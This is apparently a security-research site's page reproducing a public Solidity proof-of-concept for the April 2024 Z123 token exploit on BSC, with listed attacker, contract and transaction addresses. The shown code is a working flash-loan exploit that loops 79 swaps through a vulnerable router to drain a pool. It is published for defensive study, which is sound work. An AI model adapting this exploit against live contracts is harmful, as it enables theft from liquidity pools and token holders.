Skip to content
THREATWIRE

Public reproduction file

src/test/2024-04/Z123_exp.sol

Public reproduction file for dataset entry Z123.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/Z123_exp.sol61 lines
1import "forge-std/Test.sol";
2import "../interface.sol";
3
4// @KeyInfo - Total Lost : ≈135k
5// Attacker : 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32
6// Attack Contract : https://bscscan.com/address/0x61dd07ce0cecf0d7bacf5eb208c57d16bbdee168
7// Vulnerable Contract : https://bscscan.com/address/0xb000f121A173D7Dd638bb080fEe669a2F3Af9760
8// Attack Tx : https://bscscan.com/tx/0xc0c4e99a76da80a4cf43d3110364840151226c0a197c1728bb60dc3f1b3a6a27
9
10// @Analysis
11//
12// First, tokens are exchanged from a pool with normal ratios using USD.
13// Then, each subsequent swap burns liquidity from the pool, resulting in disproportionate token ratios that can be exploited for arbitrage.
15contract Z123_exp is Test {
16 IERC20 z123_ = IERC20(0xb000f121A173D7Dd638bb080fEe669a2F3Af9760);
17 IPancakeV3Pool pancakeV3_ = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
18 IERC20 bsc_usd_ = IERC20(0x55d398326f99059fF775485246999027B3197955);
19 IPancakeRouter router_ = IPancakeRouter(payable(address(0x901c0967DF19fA0Af98Fd958E70F30301d7580dD)));
20 IPancakeRouter victim_ = IPancakeRouter(payable(address(0x6125c643a2D4A927ACd63C1185c6be902eFd5dC8)));
22 function setUp() public {
23 vm.createSelectFork("bsc", 38_077_210);
25 bsc_usd_.approve(address(router_), type(uint256).max);
26 z123_.approve(address(router_), type(uint256).max);
28 bsc_usd_.approve(address(victim_), type(uint256).max);
29 z123_.approve(address(victim_), type(uint256).max);
30 }
32 function testExploit() public {
33 emit log_named_decimal_uint("befor ack usdc balance = ", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals());
34 pancakeV3_.flash(address(this), 18_000_000 ether, 0, "");
35 emit log_named_decimal_uint(
36 "after profit usdc balance = ", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals()
37 );
38 }
40 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
41 address[] memory path = new address[](2);
42 path[0] = address(bsc_usd_);
43 path[1] = address(z123_);
44 router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
45 18_000_000 ether, 1, path, address(this), block.timestamp
46 );
48 console.log("==== start attack====");
49 path[0] = address(z123_);
50 path[1] = address(bsc_usd_);
51 for (int256 i = 0; i < 79; i++) {
52 victim_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
53 7125 ether, 1, path, address(this), block.timestamp
54 );
55 }
56 console.log("==== end attack====");
58 //repay
59 bsc_usd_.transfer(address(pancakeV3_), 18_000_000 ether + fee0);
60 }

Analysis

Dataset entry

Public Foundry test for “Z123” (2024-04-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3026c464d3bd6ef0ced0d49e80f171b58176ce32

  • Attack Contract

    0x61dd07ce0cecf0d7bacf5eb208c57d16bbdee168

  • Vulnerable Contract

    0xb000f121a173d7dd638bb080fee669a2f3af9760

  • Attack Tx

    0xc0c4e99a76da80a4cf43d3110364840151226c0a197c1728bb60dc3f1b3a6a27

File record

Name
Z123
Path
src/test/2024-04/Z123_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f15f638dd132113cd44b0e2e8dec2086128d708d
Language
Solidity
Size
62 lines
Date
2024-04-22
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-04/Z123_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f15f638dd132113cd44b0e2e8dec2086128d708d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.